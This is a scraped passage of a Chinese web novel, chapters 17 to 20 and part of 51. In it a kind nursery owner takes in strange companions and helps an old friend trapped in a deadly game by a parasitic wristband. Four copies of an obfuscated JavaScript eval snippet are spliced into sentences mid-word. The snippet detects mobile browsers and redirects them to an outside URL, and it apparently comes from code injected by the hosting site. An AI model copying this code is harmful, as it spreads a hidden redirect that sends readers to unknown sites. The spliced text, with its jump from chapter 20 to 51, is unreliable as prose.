赵璨璨没听清:“小陶哥哥你说什么?” 陶岫弯了眼眸,却并未回答。 …… 吃完那顿饭已经很晚,陶岫回家前还是去了趟还开门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14061667|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的商超,买了许多用不同罐子装着的美丽糖果。 回到家时,客厅很热闹,椰子欢快地跑来找他撒娇摇尾巴,竺正坐在沙发上,兴冲冲地教小八用电视机的遥控器。 他们似乎已经洗漱过了,穿着睡衣。 听到开门的声音,他们同时朝他看过来。 竺大喇喇道:“欢迎回家老板!” 小女孩儿手里依旧宝贝地捧着那个空糖果罐,她怯生生地眨着眼:“欢、欢迎回来。” 陶岫挂好外套,安置好别的东西,拎着那袋糖果坐在了小八身边,接着将那袋子糖果罐轻轻放在她膝上,温柔地道:“送给你,希望你能喜欢。” 小女孩儿蓦然睁大了眼睛,半晌,她低着头抱住了那袋糖果罐,小声地道了声:“谢谢。” 垂下的眼眸里,那双瞳仁亮晶晶的,带着微微的湿润。 陶岫温柔地看向她,轻轻道:“不客气。” 竺揉了揉小八的小脑袋,感激地望向陶岫。 陶岫笑了下,道:“置物架的袋子里有手机和日用品,卡也买好了,是给你们的。我先去洗澡,你们可以去翻翻袋子里的东西熟悉一下。” 说罢便起身去了浴室。 陶岫很快洗完澡,从浴室出来后,小八已经回到卧室睡觉,竺坐在沙发上,眼珠左右乱转,半晌,他才下定决心一般道:“老板,小八明天想和你一起上班!” 陶岫一怔:“???” 竺:“我也说过让她再适应几天再去工作嘛但她非要明天就跟着你,老板你明天还是亲自和她说吧我先睡啦!”因为他真的不擅长传话这种事啊! 说罢他便直挺挺躺在沙发上装睡。 陶岫抽抽嘴角:“。”根本不是适应几天再去工作的问题吧!他怎么可能压榨未成年人去工作啊! 无奈地叹了口气,陶岫决定明天再和小八聊聊。 接着他打开杂货间的门,走了进去。 馥郁奇异的冷香扑面而来,依旧令人晕眩而安心。 陶岫合上门向床的方向走去——或许走的次数太多,他只在黑暗里行走,也能找到正确的方向。 他很快摸索着打开了那盏骨灯,接着放松地扑到床上,发出一声舒服的喟叹:他以前怎么就没发现这张床这么舒服呢! 他翻了下身,来到男人身边,亲了口对方冰冷俊美的脸颊,道:“今天,我们的小朋友又送了我一串花,真希望你能看到。” 他偎依在男人怀里,手覆在柔软的腹部闭上了眼睛,道:“我说你这样一直睡下去,不管对谁来说都太渣太过分了吧。到底什么时候醒啊……” 说着说着,他的声音低下去,呼吸渐渐变得绵长…… 等到青年沉入梦眠,黑暗中四面八方的深蓝触手发疯般向他涌去,却在触碰到青年的瞬间猛地停住。 一团微弱的轻盈的小小意识在男人深眠的潜意识中轻轻响起:“爸爸、过分、不醒来见妈咪就、不喜欢你……” 18.第 18 章 一夜无梦。 第二天清晨,陶岫在床上醒来,精神饱满地舒展了下身体,准备去洗漱上班。 一出杂物间的门,却发现小八已经洗漱好站在那里,她手里依旧捧着旧的糖果罐,里面却装上了陶岫新为她买的各种糖果。 五颜六色的糖纸亮晶晶的,在罐子里分外好看。 陶岫想起竺昨晚的话,他有些无奈地弯了眼眸,正要说什么,小女孩儿却怯怯地开了口:“我、我想到外面看看,看看这里是什么样子。” 顺便,做自己的能力可以做到的事情,比如,保护这个大哥哥。 陶岫一怔,温柔地道了声:“好。稍微等我下,我去洗漱,我们一会儿就出发。” 小女孩儿第一次甜甜笑了,金色的瞳仁亮晶晶的:“嗯嗯。” 正在这时,竺遛狗回来,他看到两人商量好了,便迅速安置好狗狗,又将准备好的两份早饭午饭装进布袋,放到玄关处的柜子上,方便陶岫等下拿。 只是返回时经过衣架,他突然止住步子,瞪大眼睛看向陶岫的风衣——准确说,是看向那件风衣的口袋。 那里不知装了什么,有些鼓鼓的。 在尖叫出声前,竺死死捂住了自己的嘴巴,他朝那个口袋恭敬地鞠了一躬,连忙跑走了。 在经过小八时,还特意叮嘱她那个口袋装了不得了的东西千万别被吓到! 小八好奇地看了眼那件风衣,懵懂又乖巧地点了下头。 这时陶岫洗漱好出来,他走向衣架,利落地穿好外套、拿好布袋,带着小八出了门。 一路都很顺利。 小八是个乖巧得让人心疼的姑娘,一路上即使看到人很紧张也一声都不吭,到了植物园也只安安静静蹲在角落里看那些不起眼的小花。 陶岫见状,便在工作空隙里从线上下单了许多能很快送到的玩具小蛋糕绘本之类的东西。 等到吃过午饭后,他将送到的东西都交给了小八,温柔地道:“这座植物园你可以去任何地方,喜欢什么花都可以摘,零食和蛋糕都在小冰箱,你可以随时吃。如果觉得无聊了,可以在办公室玩玩具。” 小八一怔,唇角浮出个浅浅的笑容:“嗯。” 顿了下,她看着陶岫眨了下眼,道:“竺说,你在招聘员工。那个……我可以应聘吗?” 陶岫喝着果汁差点被呛到。 小八用九颗大脑拼命拼凑着竺告诉她的一些关于这个世界的零碎信息和蚂蚁用词,她歪了头道:“我会每月给小陶哥哥提供工资,还会给你提供五险一金、双休、年假,哦还有十三薪和年终奖,可以聘用我做你的员工吗?” 虽然不懂这些词是什么意思,但她会很努力很努力的。 陶岫:“.…..” 他不禁轻笑出声,心里软得一塌糊涂。 小八这时终于想起介绍自己,她有点心虚地道:“我、我就是胆子有点小,我会努力变得勇敢一点……” 她的能力是【同化】。 她可以同化任何生物。 被她同化的对象会变得和她一样,总共拥有三颗心脏和九个大脑、会携带她的一些习性,她可以控制他们进行吞吃自己身体的自杀行为。 她还能喷出有毒的墨汁…… 只是她胆子太小了,不敢做这些而已…… 小八咬了下嘴唇,头越来越低:她是不是真的很没用呀…… 正在这时,一只手温柔地拍了下她的肩,一道好听的声音响了起来:“小八,你很勇敢,非常勇敢,是我见过的最勇敢的人之一。” “你知道吗?因为你的勇敢和善良,那些女孩子才得救。她们即使因为霍斯的能力忘记了一切,却依然在努力记住你,她们很感谢你,也很敬佩你。事实上,一个女孩子很想再次见到你对你说谢谢。” 小八蓦然睁大了眼睛,她的脸蛋因着害羞泛着浅浅的蓝色,半晌,她轻轻道:“我、我在沉睡的时候,一直不喜欢闯进我家的那些……” 斟酌了一会,她用了竺用的词语:“那些蚂蚁,他们都很凶,我很害怕,一直很小心地隐藏自己的房间,他们从来没进来过……但是,那天的小蚂蚁们气息很纯净,我的潜意识觉得她们和我很相似,而且她们很害怕,还、还会被杀死的,我、我就打开了通道放她们进来……” “她们对我很好,还送了我礼物……我、我第一次收到那么漂亮的礼物。” “但、但我能力不够,只能保护她们不被伤害,让她们晕倒不再听到上面那些可怕的声音,但我没办法送她们离开。幸好那天竺通过小陶哥哥的能力来到那里带我离开……” 最后,她看向陶岫,认认真真道:“谢谢你对我说这些,我真的很开心。” 陶岫弯了眼眸:“不客气。” 顿了下,他认认真真地解释道:“还有就是,你刚刚说的工资、五险一金、双休年假、年终奖十三薪,如果你成为我的员工,那些是我作为老板应该提供给你的。” “你为任何人工作,都应该得到合法合规的报酬与待遇。如果没有,那你的老板一定不是个好人。” 说着他更加认真温和地看着对方,接着道:“你想来植物园工作吗?如果想,我会拟一份合同给你,再一句一句解释给你听,你看过之后如果满意,就可以签上你的名字——虽然因为身份证之类的问题它没有法律效力,但我保证会为你提供合同上的所有福利待遇。” 小八的眼睛蓦然亮起来:“想的!小陶哥哥,那我今天就可以工作吗?我的工作是什么?” 陶岫面上的笑容温柔得不可思议:“嗯……今天小八的工作是,熟悉植物园的环境后,去二楼的草莓区采摘一篮草莓,然后洗干净吃掉。” 他煞有介事道:“品尝记录我们园水果的味道,也是工作的重要一部分。” 小八立刻站了起来,提起置物架上的小篮子,道了声:“我这就去!”说罢便开开心心跑了出去。 看着她快乐的背影,陶岫这才轻笑出声。 …… 下午,他穿了新买的防辐射服,坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14074649|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电脑边认认真真敲起一份合同。 他来到这里后,便换上了工装,那件风衣此时被挂在身后更衣室里的衣架上。 在他无法看到的视角里,一截断掉的深蓝触手从风衣口袋中缓缓爬了出来,它渐渐变长、变得粗壮,自口袋中爬到了地上,安静地向青年的方向蜿蜒前进。 人体工学椅上的陶岫下意识摸了下自己的鼻尖——他总觉得空气中有种浓郁的熟悉冷香,但因为他已经过于熟悉和习惯那种香气,他还以为是身上沾染到的部分,便并未在意。 正在这时,敲击玻璃窗的“咚咚”声响了起来,是一个大学生客人,他有点害羞地表示,想和陶岫合影。 以前很多客人都会提出这样的要求,陶岫欣然应允。 他起身离开办公室向外走去,刚爬出更衣室的深蓝触手动作一顿—— 陶岫已经和两个客人站在了植物园门口漂亮的花墙处,也找好了帮忙拍照的客人。 咔嚓一声响,照片拍好,陶岫正要礼貌地告别离开,便被其中一个年轻人叫住了,他有些脸红地看着青年,一副纯情帅气体育生的样子,他鼓起勇气道:“请问,我、我能要下你的联系方式吗?” 陶岫一怔,尴尬地摸了下鼻尖后,才礼貌地微笑回绝:“抱歉,不是很方便。”说罢便离开那里回到了办公室。 年轻人已经拿回了自己的手机,他红着脸、怔怔看着青年的背影,正要鼓起勇气再追上去请求第二次,刚踏出一步,他便在原地消失不见。 下一秒,他站在离自己大学最远的A市机场入口瞪大眼睛发呆:啊啊啊发生了什么? 他他他怎么会来机场?他记忆混乱了? 他刚刚明明在植物园找自己暗恋很久的植物园老板合照要联系方式啊! 想到什么,他立刻拿出自己的手机,翻开相册,接着他眼睛瞪得更大: 相册里根本没有那张照片…… 难道真是他今天睡傻了? 他站在原地凌乱了许久,才失落地打车回了自己大学。 …… 陶岫对此一无所知。 敲好合同后,他舒展了下身体,喝了口放在手边的温水,走到门边看了眼二楼的方向:小女孩儿正蹲在一片草莓田里,认认真真采着草莓。 她面上那种小心翼翼的神情淡了许多,取而代之的是甜甜的笑意,陶岫这才放下心来。 他坐回桌边,又算了下日期,在日历上划下去医院产检的时间。 不知是不是他的错觉,房间里那种馥郁浓郁存在感十足的冷香突然淡了许多。 正在这时,那团可爱轻盈的意识再次在他脑海中响起:“妈咪、告诉、一个秘密~” 陶岫一怔,笑了下,道:“你是说,你有一个秘密要告诉我?” 小朋友:“是的~” 陶岫:“什么秘密?” 小朋友:“一截爸爸、刚刚在。他、欺负了小蚂蚁。” 然后力量用完就消失了。 陶岫:“……” 19.第 19 章 陶岫实在想象不出“一截爸爸欺负小蚂蚁”是种什么场景,但放在霍斯身上,好像也不奇怪。 毕竟那家伙以前能干出把狗粮当成供品的奇葩事情。 他并未把这件事放在心上,只是看向他刚划下的产检日期,温柔地将手覆在自己的腹部:传递完这条信息后,那个可爱的意识便消失了,就好像和他完成互动后,他(她)便满足地再次睡去。 他的小朋友现在似乎非常微弱,每天只能和他互动几分钟时间。 他真的好想去医院看下,小朋友现在到底是什么模样。 抱着这种期待,陶岫愉悦地度过了今天剩下的工作时间。 下班后,他带着小八去赶晚高峰。 和早上相比,小八明显没有那么怕人了,甚至在人流里还会好奇地打量周围的高楼大厦霓虹灯火。 他们很快到达地铁站,陶岫就要踏上台阶时,突然停住了步子,收回了那只脚。 小八乖巧地有样学样停住脚步,只是歪了头好奇地看向他。 陶岫拿出纸巾垫着,俯身将地上的东西捡了起来,朝女孩儿笑了下,道:“没什么,只是一颗钉子。” 那看起来是一颗很不起眼的图钉,钉帽朝下,针尖朝上,如果行人不小心踩上去,很容易扎破脚底。 陶岫仔细把钉子包好,确定它不会扎伤清洁工,才将它丢进可回收垃圾桶。 他并未将这个小插曲放在心上,带着小八乘地铁回到了小区。 金色传说小区的氛围依旧如往常般温馨热闹,陶岫一路笑着打着招呼回到了家。 打开门,厨房外的餐桌上已经摆满了竺做好的饭菜,满客厅都是饭菜的香气。 竺却并未像往常一样坐在沙发看电视,而是凑在窗边,也不知在看什么。 除了椰子之外,另外两只经常消失不见的大狗不知怎地也跑了出来,它们和椰子也全都凑在窗边。 陶岫挂好外套,一脸好笑:“那里有什么?” 竺听到动静忙转过身:“工作辛苦啦,欢迎回家!”说着他兴奋地指着一面玻璃,没心没肺道:“老板快看,这里有小蚂蚁在玩游戏唉!是那些去过我们同类身边的蚂蚁!” 陶岫瞳孔一缩,忙大步走向那里。 只见透明的玻璃之中,仿佛有水波荡漾,有个芝麻大小的小人儿正在里面拼命挣扎,他的脸在诡异水波的反射下忽大忽小,可以看出已经憋得青紫。 小人儿明明看似离玻璃内部很近很近,却拼命抓都抓不到玻璃的边缘。 他似乎看不到有人在观看自己,只是挣扎着想碰到玻璃,仿佛碰到了就找到了逃生的出口。 陶岫一怔:他做的无限池塘陷阱竟然真的捕捉到了玩家。 林枚说过,犯罪是参与游戏的入场券。在这个世界,程序正义的做法是将对方送到警察局,让法律来裁定他的罪行。 但在此之前,他想得到一些信息。 陶岫抿了下唇,他翻出一些不用的绳索准备用来绑人,接着上前轻轻扭了下窗子把手。 下一瞬,一个浑身湿淋淋的中年男人倒在了陶岫脚下,他大口喘着气,拼命呼吸新鲜空气。 还不等陶岫开口,竺已经从他手里接过绳子,将地上的人绑了个结结实实。 这时,三只大狗像是闻到了无法拒绝的食物香气,“嗷呜”叫着几乎立刻朝他扑去——准确地说,是朝他手上佩戴的黑色手环扑去。 陶岫立刻制止了它们 ,他把小八挡在身后,警惕地观察着男人,边走向前去。 男人似乎已经恢复了意识,却并不挣扎,只是劫后余生一般努力活动着喉咙,似乎想要快点恢复语言能力。 陶岫正要问什么,却突然觉得,地上这个长了胡茬气质颓丧的中年男人莫名有点眼熟。 这时,男人看向陶岫,面上浮出点苦笑,道:“好久不见。很开心、能再次碰到你。” 陶岫面上浮出点茫然,开始回想这张脸,不一会儿,久远的记忆星屑一般开始一点点浮出脑海,陶岫蓦然睁大了眼睛:“你是……俞清池?” 男人点点头,温和又怀念地看向陶岫:“那时候我还年轻,你也是个小孩子,一时想不起我也很正常。” “只是真没想到,有一天,我们会以这样的方式重遇。” 陶岫忙上前解开了对方的绳子。 小八和竺听不懂地上的男人在说什么,却已经从陶岫的反应中明白这是陶岫的旧识,他们忙利落又贴心地准备了毛巾和热茶。 竺想了下,又拿了自己和小八的那份晚饭,带着三只大狗和小八回到了卧室——他一点都不担心那个男人会伤害老板。 因为、这里是老大的绝对地盘。 世界上没有哪里比这座房子更安全。 …… 卧室门轻轻合上,陶岫已经请披着毛巾捧着热茶的男人坐到了餐桌前,他问道:“真的不用洗个澡吗?” 俞清池摇了摇头,他道:“我是来对你说一些事情,说完我就走。” 说着他环顾了这间温馨的房屋,笑道:“看到这里变成了这么温暖的样子,看到你好好地住进来,我真的真的很开心。” 陶岫苍绿的眸子里浮出点悠远的回想,他看向男人腕上的黑色手环,想说什么却又不知如何开口。 俞清池却很坦诚,他朝陶岫展示手上的手环,道:“这么多人攻略过你,你应该已经知道了些【游戏】和【玩家】的信息。” “这次包括我在内,一共五个玩家来到这里,攻略时间是7天。我和其中三个玩家都是被调剂到这里的,对你没有威胁。” “就像我的能力是【固体穿梭】,我本来是想下午的时候趁着你上班从门那里进来、给你留个纸条的,但不知怎地就掉进你的窗户陷阱了。被调剂来的玩家水平大部分都是我这样。” 说罢他垂眸苦笑了下:因为没有抢到存活率高的副本,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14086440|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调剂到这里,真是天意。 百感交集中,他打起精神继续道:“但只有一个男人,一个脸上有刀疤、右手长满手指的男人,他非常危险,是个高阶玩家,而且,除了他的大哥,没有人知道他的能力是什么。” 他认认真真直视着陶岫:“所以,你一定要小心他。” 陶岫安静温和地看了男人半晌,才道:“我知道了。多谢。” 顿了下,他像是下定决心一般问道:“你的妻子和孩子呢?你为什么要参加这个游戏?” 男人闻言一怔,有点不好意思地摸了摸鼻尖,半晌才叹息一般苦涩地笑了下道:“我老婆孩子现在很好,我绝不会去见她们连累她们。” 说着他低下了头:“至于游戏……和当初我遇到你前发生的事情一样,倒霉被坑了吧……” 陶岫瞳孔一缩。 俞清池却已经起身站了起来,他像看一个晚辈一样看着青年,道:“我要说的就是这些。还有点事,先走了,你注意安全。” 说罢他便往门的方向走去。 陶岫却叫住了他:“俞清池,你还想像第一次见面时,再信任我一次吗?” 俞清池步子一顿。 陶岫看向他的背影,道:“方便的话,明天可以到我的植物园来一趟吗?” 不知想起什么,他苍绿的眼眸有些冷,神情却很坚定,他道:“我想研究下你的手环。” 俞清池背对着他,沉默半晌,才转身朝陶岫一笑,道:“成。” 接着他推开门离开了这里。 陶岫收回视线,去洗手吃饭。 他一只手轻轻覆在腹部,吃饭吃得很认真,就好像什么都没发生一般。 饭后,他很快洗漱好,走进杂物间上床睡觉。 满是馥郁冷香的床上,陶岫抱住了男人的腰,发出一声满足的喟叹,他闭上眼睛,轻声喃喃道:“我现在的生活很充实也很幸福,我们的小朋友在一点点成长,还有七个多月,我们就能见到他了……我真的很期待……” “我还有朋友、工作、客人,还有小八和竺,哦刚刚我还和一个很多年没有见的老朋友重逢了。” “他是我和这座城市产生羁绊的开始。我会努力帮帮他。” 不知多久的沉默。 陶岫的声音再次响起来,迷迷糊糊,像要睡着了一样,带着撒娇一样的鼻音:“我已经不孤独很久很久了。但是,霍斯,我还是很想你……” 随着最后一个字落下,青年的呼吸渐渐变得绵长。 无数深蓝的触手自沉睡的男人身上破体而出,发疯一般涌向青年,温柔地包裹住了青年的身体。 被触手包裹的安全空间中,青年的手依旧以保护的姿态、温柔地覆在自己的腹部,那里再次安静地发生了一次胎动。 一朵微弱的白色小花安静轻盈地跌落在青年白皙光洁的额角,像一个笨拙可爱的亲吻。 来自小朋友的亲吻。 20.第 20 章 第二天,陶岫在植物园见到了俞清池。 他关好门,拉好窗帘,才坐到俞清池对面,接着,他看向对方已经放到桌面的粗糙手腕。 那上头,一枚黑色的手环严丝合缝地贴合着人的皮肤,它的形状平平无奇,却看不出什么质地。 俞清池苦笑了下,道:“这应该就是控制我们的系统,我们选择副本、接受任务和惩罚,都是通过它。” 陶岫又听到了关于那个【游戏】的新名词:“系统?” 俞清池:“对……它似乎有智慧,”说到这里,他神情浮出点疑惑的茫然:“但我也不好定义它是什么,未知生命?人工智能?好像都不是很对。我不确定它是否具有自主意识。” “除了配合传送系统工作、发布任务和规则,它并不干涉我们在副本内部的任何行为。”顿了下,他低了头自嘲地道:“这也是我去主动提醒你的原因。” 如果去提醒陶岫这件事会让他立刻受到系统的惩罚,他不清楚自己还有没有勇气去做这件事情。 知道自己不杀掉陶岫未来七天后会死,和提醒陶岫当下就要受到惩罚所面临的恐惧是不一样的。 或许前者的恐惧比后者更甚,但人性会让他更先逃避当下的恐惧。 陶岫并不知晓对方此时的想法,他只是微微皱了眉,利落地戴好橡胶手套,拿起镊子,谨慎地去试着触碰那枚手环。 他用镊子用力夹起环身,试图将手环与手腕之间抽离出一些空间,他想看看手环紧贴人体皮肤的那一侧到底是什么。 接着他猛然睁大了眼睛:只见环壁与皮肤之间,连接着无数蠕动的诡异黑色“线条”。 俞清池佩戴手环的皮肤已经满是密密麻麻的血洞,那些“线条”一头自那些血洞里进进出出,似乎已经长进皮肤里甚至骨头里,另一头再连接手环。 说不清是手环在吸食俞清池的生命力还是俞清池的身体自手环那里得到了什么。 陶岫震惊地看着眼前的一幕,半晌回不过神来,眼看俞清池额上已经浮出冷汗,他连忙将镊子放下,又将干净的纸巾递过去。 俞清池接过纸巾擦了下汗,他显然知道这些,并未感到惊讶,只是感叹道:“有时候我真的感觉到,它已经长遍了我身体的每一根神经、每一条血管,我经常会自我怀疑,我现在还算是人类吗?” 陶岫并未随意安慰对方,只是温和地问道:“方便和我说下,你什么时候、怎么参加这个【游戏】的吗?你又为什么会参加?” 俞清池苦笑着看向他:“就是十一年前,我们交易过金色传说小区那套烂尾房后,我拿到了钱,我和我老婆对买到烂尾房这件事心有余悸,再也不想在大城市混了,就想带着钱回老家好好生活。” “在回家的火车上,我的脑海里突然响起一个声音……” …… 俞清池静静叙述着,他看着气质温润眉眼精致的青年,就有点感慨:命运有时真的很会捉弄人…… 十一年前,他就是在金色传说小区遇到陶岫的。 他们初遇时,眼前的青年还是个少年。一个很奇异的少年。 那时候他和妻子已经在A市工作几年,手里有了一些积蓄,他们便想买套小房子,给即将出生的孩子一个家。 但他们运气不好,买到了金色传说小区的烂尾房,雪上加霜的是,他还丢了工作。 为了那套房子,他们付出了全部的积蓄、又借了亲戚的钱才付清首付,还背了三十年的贷款。 房子烂尾了工作也没了,他只觉得天都塌了,他想象不出余生还能怎么活下去,他们的孩子出生后又会面对什么。 人被逼到这种程度就容易懦弱,他那时不敢对同样要工作的妻子说失业,只能每天假装出门上班,实则在这座城市的各个角落游荡,一直游荡到他从前工作的下班时间才会回家。 那天晚上,他一整天都没什么心情吃东西,鬼使神差也好,破罐子破摔也好,他走进一家便利店,偷了一瓶水和一袋面包。 得手后离开便利店的一瞬,他突然感到一种空洞的绝望,他根本无法面对这样的自己,于是他走进了那个黑洞洞的小区。 他本想最后看看那个未完工的家后,就爬上最高处。 听说,已经有两个人这样做了。 但当他来到6号楼2101室门前时,他遇到了陶岫。 月光里,光秃秃的水泥墙壁构成的空间空洞荒凉,地上满是碎石。 那个少年穿着单薄的白衬衣黑长裤,抱膝坐在窗框下发着呆。 荒冷的月光自少年身后空洞的窗框中照射进来,他便看清,那少年五官精致得不像人类,苍绿空洞的眸子泛着美丽的光辉。 地上还零零散散摆着一些快要枯萎的绿植,似乎也属于这个少年。 他那时的第一个念头是这个美丽的少年可怜,这座城市这么大这么繁华,他竟然只能在这种地方栖身,随之而来的念头是,也不知他和这个少年谁更可怜。 他轻轻叹了口气,走了进去,将偷来的水和面包放在了少年面前,之后,他离开了那间房子,一个台阶一个台阶地爬上了那栋楼的最高处。 夜风呼啸,在他辨认是拥有了所有勇气还是失去了所有勇气时,那个少年出现在他身后。 他的声音奇异而好听,带着种天真的迷茫:“为什么要这样做呢?你遇到什么难过的事情了吗?” “这是我来到这座城市的第一天,你是我遇到的第一个人。说说看呢,说不定我可以帮你。” 那一瞬间,俞清池记得自己直冲到脑门的情绪是悲哀:帮? 怎么帮呢? 这个少年连自己都无处栖身,怎么可以天真又轻飘飘地说出这种话。 …… 但是,那个奇异的少年真的帮了他。 他从他手里买下了那间烂尾房,将一张卡当做这套房子的全款还给了他。 少年那时苦恼地歪了下头,道:“我的很多财产、之后才会解冻。不知道这些够不够。” “不够的话,以后、我会补给你。” 俞清池那时候只觉得整个世界都变得不真实,他摇摇欲坠的良知告诉他,将这样一座烂尾房卖给一个半大孩子不对,他们甚至连合同都没法签。他拿了这张卡,会一辈子对不起自己的良心。 但那个少年对他笑了,笑里带着悲悯与温暖,一瞬间他觉得他不似人类。 那个少年贴心地说:“你别担心啊,我还有很多很多钱的。” 俞清池脑子里嗡嗡作响,不知过了多久,他才接过了那张卡。 他那时候在心里暗暗发誓,这些钱就当他借的,未来周转开,他会把这些还给他。 一定会还给他。 只是说话时,他红着眼,依旧嗓音沙哑,思绪混乱:“你叫什么名字?父母在哪里?如果你是拿了父母的钱离家出走,还是建议你快些回家,这钱我也不能——” 那少年闻言眼眸都弯起来,这么冷的月光落在那苍绿的眸子里都仿佛变得温暖起来,他说:“我叫陶岫。陶瓷的陶,山岫的岫。你别担心,我没有父母,所以这些钱你真的可以用的。” “而我也得到了你的房子呀,我可以用那里来种花。” 俞清池睁大了眼睛,站在那里半晌耳边都嗡嗡作响。 等到他回过神来,那个少年离开了楼顶。他给了他一张卡,却没要任何协议、欠条乃至一句承诺。 少年离开后,他一个人又在那里站了很久很久,下去时,他不敢经过那间2101室。 他怕他看到陶岫会后悔。 会想这样一个没有父母却有大额财产的孩子为什么会在这里孤独地栖身、他把钱给了自己到底还有没有别的存款,他怕他会去多管闲事地帮他让自己本就沉重的人生更加沉重,他更怕他会因为良心将那张卡还给陶岫。 第二天,他逼自己去了银行查那张卡,那张卡里恰巧是他首付和足够他提前还清所有贷款的钱——毕竟他的房款恰巧是个整数,这个巧合很正常。 接着,他去便利店说明了情况,还了面包和水的钱,又去派出所自首接受了处罚。 他那时懦弱又自欺欺人地想,至少,他给那个少年的面包和水应该是干净的。 再后来不久,他没有贪心地用那些钱再做什么,他踏踏实实提前还清了全部房贷,拿着剩下的首付、带着怀孕的妻子离开了A市,坐上了回老家的火车。 他本以为这是他们一家新生活的开始,但是,他偏偏碰到了那个【游戏】。 …… 俞清池此时的声音莫名沙哑,他道:“那个声音在我的脑海中说,期待我加入游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陶岫道:“她很体面地来见我,也并未说你失踪。我以为你们一家生活得很好。” 俞清池一怔,鼻尖蓦然一酸。 半晌,他声音嘶哑地问道:“那个小区,是你的力量吗?” 陶岫一怔,不知想起什么,他拉开外面那扇窗子的窗帘,眸色温柔地望向窗外湛蓝的天空,苍绿的瞳仁里映着光与云,他轻轻道:“从你那里买下房子后的一年里,我又在那里遇到一两个和那时的你一样绝望的人。” “我最初以为,想救一个绝望的人给他钱就可以。但那时我才意识到,或许那个小区里每个空洞的房子就代表一个、乃至更多绝望的人,有一天我的钱不够了怎么办呢?” “所以我用我所有的力量在一天内从内到外重建了那个小区,后来我朋友找来另一家开发商进驻收了尾,并且完善了小区的各种手续。,” “或许即使这样,我对人类绝望的成因和如何拯救的理解依旧很肤浅,但总比从前做得稍微好那么一点点吧。” 半晌沉默。 俞清池看着青年漂亮干净的侧脸,终于释然地笑了,他道:“虽然我不了解你对人类产生情感的动机。但是,陶岫,你真的很像很像人类。却又不那么像人类。” 陶岫看向他,也笑了,他耸耸肩:“或许吧。” 顿了下,他苍绿的眸子浮起坚定的光芒,他承诺道:“你信我。我一定想办法救你。” 俞清池一怔,笑了下,他并未说自己七天后就会迎来死亡,只是道:“好。我信你。明天开始,我每天偷偷看完我家人后,都会来你的植物园。” 至少,可以帮他分辨那个刀疤脸高阶玩家。 陶岫:“好。” …… 俞清池离开后,陶岫再次出神地看向窗外湛蓝的天空,那上面有美丽的流云和自由的飞鸟。 在那辽阔的苍穹之下,有无数座城市和无数人间烟火,承载了无数人们的喜怒哀乐、爱恨嗔痴。 植物园里,小八已经交到了第一个人类朋友,正在一个小女孩儿的指导下学着更高效地采草莓。 陶岫将手温柔地放在自己已经有些隆起的腹部,弯了眼眸轻轻道:“你知道吗,宝贝,我真的很喜欢这里的世界和这些人们……” “等你出生,我就一点一点讲给你听,这里有多可爱,好不好?” 一团微弱轻盈的意识在脑海中如一朵小花一般盛开:“妈咪、喜欢、我也、喜欢……还喜欢妈咪、爸爸……” 陶岫一怔,笑得更加温柔。 他舒展了下身体,重新开始工作。 灿烂温暖的阳光映照在桌上日历标红的产检日期。 50-60 第51章 周河回到特别行动局后将带回的人交给了同事,接着便立刻投入到新的工作中去。 彼时蒋周已经通过周河在路上同步给他的信息,将抓捕嫌疑人的命令及行动布置下去。他的下属现在应该已经到达了那栋别墅。 蒋周此时正坐在办公桌后,神情严肃地查看刚刚送到他手里的关于成家的资料。 成运的父亲叫成杨,今年已经快80岁了,是个不折不扣的投机分子。 他没什么学历也没有一技之长,却总是渴望急速地富起来变成人上人。 他年轻时各种电子产品开始兴盛,他就将回收的二手电脑手机等电子产品想办法做成翻新机、再当成全新的产品出售,他几乎是第一批这样做的人,靠着这种不甚道德的做法,他赚下了人生第一桶金。 再后来,他又做过各种投机取巧的灰色地带的生意。 几年前他紧跟潮流,突然开始经营一家科技公司,主要研发一些可以应用于人们日常生活中的各种人工智能模型,它发展得很快,现在已经在业内颇有名气,几年前甚至完成了上市。 但是,没有人知道成杨一个前些年混社会做着上不得台面生意的家伙是怎么洗白上岸并完成如此彻底的转型的,开这样实实在在主研发的科技公司需要大量人脉、人才、金钱、技术、前瞻的视野等等,成杨甚至没有读完高中,他是怎么短时间得到这些的? 这家公司的股权构成及股东构成表面看起来非常清晰健康,而成杨一直是实际控制人。这家公司从研发第一款产品获得第一轮投资开始,每一轮投资流程也看起来非常正常。如果成杨是个富有才华和野心去创业的技术型高材生,走过的这些路正常而称得上励志。但他偏偏不是。 成杨和这家公司的联系违和得就像这联系是被谁硬生生造出来的…… 